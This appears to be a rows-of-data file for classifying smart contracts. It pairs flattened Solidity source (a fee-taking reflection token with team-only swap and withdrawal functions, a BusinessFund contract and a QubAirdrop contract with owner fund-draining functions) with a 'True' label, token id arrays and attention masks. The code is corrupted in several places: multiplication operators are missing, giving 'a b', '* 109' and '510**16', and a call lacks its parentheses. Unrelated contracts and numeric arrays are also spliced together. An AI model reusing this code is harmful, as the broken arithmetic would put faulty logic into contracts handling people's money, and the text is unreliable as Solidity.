(1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 109; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(102); emit MaxTxAmountUpdated(_maxTxAmount); } }	True	[ 101, 1013, 1008, 2026, 16429, 17206, 2100, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 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pragma solidity ^0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 / contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed _from, address indexed _to, uint256 _value); } /* * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract Ownable { address public owner; event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. / function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /* * @title Business Fund Contract / contract BusinessFund is Ownable { ERC20Basic public vnetToken; event Donate(address indexed _from, uint256 _amount); /* * @dev Constructor / constructor(ERC20Basic _token) public { vnetToken = _token; } /* * @dev Sending eth to this contract will be considered as a donation / function () public payable { emit Donate(msg.sender, msg.value); } /* * @dev Send VNET Token / function sendVNET(address _to, uint256 _amount) external onlyOwner { assert(vnetToken.transfer(_to, _amount)); } /* * @dev Rescue compatible ERC20Basic Token * * @param _token ERC20Basic The address of the token contract / function rescueTokens(ERC20Basic _token) external onlyOwner { uint256 balance = _token.balanceOf(this); assert(_token.transfer(owner, balance)); } /* * @dev Withdraw Ether */ function withdrawEther() external onlyOwner { owner.transfer(address(this).balance); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 22083, 2594, 1008, 1030, 16475, 16325, 2544, 1997, 9413, 2278, 11387, 8278, 1008, 1030, 16475, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 20311, 1008, 1013, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 1035, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 1035, 2013, 1010, 4769, 25331, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 2516, 2219, 3085, 1008, 1030, 16475, 1996, 2219, 3085, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 20104, 2491, 1008, 4972, 1010, 2023, 21934, 24759, 14144, 1996, 7375, 1997, 1000, 5310, 6656, 2015, 1000, 1012, 1008, 1013, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 1035, 3025, 12384, 2121, 1010, 4769, 25331, 1035, 2047, 12384, 2121, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 1996, 2219, 3085, 9570, 2953, 4520, 1996, 2434, 1036, 3954, 1036, 1997, 1996, 3206, 2000, 1996, 4604, 2121, 1008, 4070, 1012, 1008, 1013, 9570, 2953, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 11618, 2065, 2170, 2011, 2151, 4070, 2060, 2084, 1996, 3954, 1012, 1008, 1013, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 4473, 1996, 2783, 3954, 2000, 4651, 2491, 1997, 1996, 3206, 2000, 1037, 2047, 12384, 2121, 1012, 1008, 1030, 11498, 2213, 1035, 2047, 12384, 2121, 1996, 4769, 2000, 4651, 6095, 2000, 1012, 1008, 1013, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 1035, 2047, 12384, 2121, 1007, 2270, 2069, 12384, 2121, 1063, 5478, 1006, 1035, 2047, 12384, 2121, 999, 1027, 4769, 1006, 1014, 1007, 1007, 1025, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 3954, 1010, 1035, 2047, 12384, 2121, 1007, 1025, 3954, 1027, 1035, 2047, 12384, 2121, 1025, 1065, 1065, 1013, 1008, 1008, 1008, 1030, 2516, 2449, 4636, 3206, 1008, 1013, 3206, 2449, 11263, 4859, 2003, 2219, 3085, 1063, 9413, 2278, 11387, 22083, 2594, 2270, 1058, 15361, 11045, 2078, 1025, 2724, 21357, 1006, 4769, 25331, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3815, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 9570, 2953, 1008, 1013, 9570, 2953, 1006, 9413, 2278, 11387, 22083, 2594, 1035, 19204, 1007, 2270, 1063, 1058, 15361, 11045, 2078, 1027, 1035, 19204, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 6016, 3802, 2232, 2000, 2023, 3206, 2097, 2022, 2641, 2004, 1037, 13445, 1008, 1013, 3853, 1006, 1007, 2270, 3477, 3085, 1063, 12495, 2102, 21357, 1006, 5796, 2290, 1012, 4604, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {Address-functionCall-address-bytes-}, but with * `errorMessage` as a fallback revert reason when `target` reverts. / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Performs a Solidity function call using a low level `call`, * transferring `value` wei. A plain`call` is an unsafe replacement for a * function call: use this function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Requirements: * * - `target` must be a contract. * - the calling contract must have an ETH balance of at least `value`. * - calling `target` with `data` must not revert. / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {Address-functionCallWithValue-address-bytes-uint256-}, but * with `errorMessage` as a fallback revert reason when `target` reverts. / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract QubAirdrop20200924 is Ownable { using SafeERC20 for IERC20; uint256 public CLAIM_AMOUNT = 181378476420798110*5; uint256 public CLAIM_PAYMENT = 510**16; IERC20 public qub = IERC20(0xB2D74b7a454EDa300c6E633f5b593d128C0C0Dcf); mapping(address => bool) public isClaimed; mapping(address => bool) public inWhitelist; uint256 public addressesCountInWhitelist = 0; uint256 public claimedAddressesCount = 0; modifier checkClaim { require(!isClaimed[msg.sender]); _; } modifier checkWhitelist { require(inWhitelist[msg.sender]); _; } modifier checkPayment { require(msg.value >= CLAIM_PAYMENT); _; } function claim() public payable checkWhitelist checkPayment checkClaim { isClaimed[msg.sender] = true; qub.safeTransfer(msg.sender, CLAIM_AMOUNT); claimedAddressesCount++; } function addToWhitelist(address[] memory addresses) public onlyOwner { for (uint i = 0; i < addresses.length; i++) { if (!inWhitelist[addresses[i]]) { inWhitelist[addresses[i]] = true; addressesCountInWhitelist++; } } } function removeFromWhitelist(address participant) public onlyOwner { inWhitelist[participant] = false; addressesCountInWhitelist--; } function getEtherFund() public onlyOwner { msg.sender.transfer(address(this).balance); } function getTokenFund(address tokenAddress) public onlyOwner { IERC20 ierc20Token = IERC20(tokenAddress); uint256 tokenBalance = ierc20Token.balanceOf(address(this)); ierc20Token.safeTransfer(msg.sender, tokenBalance); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1016, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3074, 1997, 4972, 3141, 2000, 1996, 4769, 2828, 1008, 1013, 3075, 4769, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 1036, 4070, 1036, 2003, 1037, 3206, 1012, 1008, 1008, 1031, 2590, 1033, 1008, 1027, 1027, 1027, 1027, 1008, 2009, 2003, 25135, 2000, 7868, 2008, 2019, 4769, 2005, 2029, 2023, 3853, 5651, 1008, 6270, 2003, 2019, 27223, 1011, 3079, 4070, 1006, 1041, 10441, 1007, 1998, 2025, 1037, 3206, 1012, 1008, 1008, 2426, 2500, 1010, 1036, 2003, 8663, 6494, 6593, 1036, 2097, 2709, 6270, 2005, 1996, 2206, 1008, 4127, 1997, 11596, 1024, 1008, 1008, 1011, 2019, 27223, 1011, 3079, 4070, 1008, 1011, 1037, 3206, 1999, 2810, 1008, 1011, 2019, 4769, 2073, 1037, 3206, 2097, 2022, 2580, 1008, 1011, 2019, 4769, 2073, 1037, 3206, 2973, 1010, 2021, 2001, 3908, 1008, 1027, 1027, 1027, 1027, 1008, 1013, 3853, 2003, 8663, 6494, 6593, 1006, 4769, 4070, 1007, 4722, 3193, 5651, 1006, 22017, 2140, 1007, 1063, 1013, 1013, 2429, 2000, 1041, 11514, 1011, 8746, 2475, 1010, 1014, 2595, 2692, 2003, 1996, 3643, 2513, 2005, 2025, 1011, 2664, 2580, 6115, 1013, 1013, 1998, 1014, 2595, 2278, 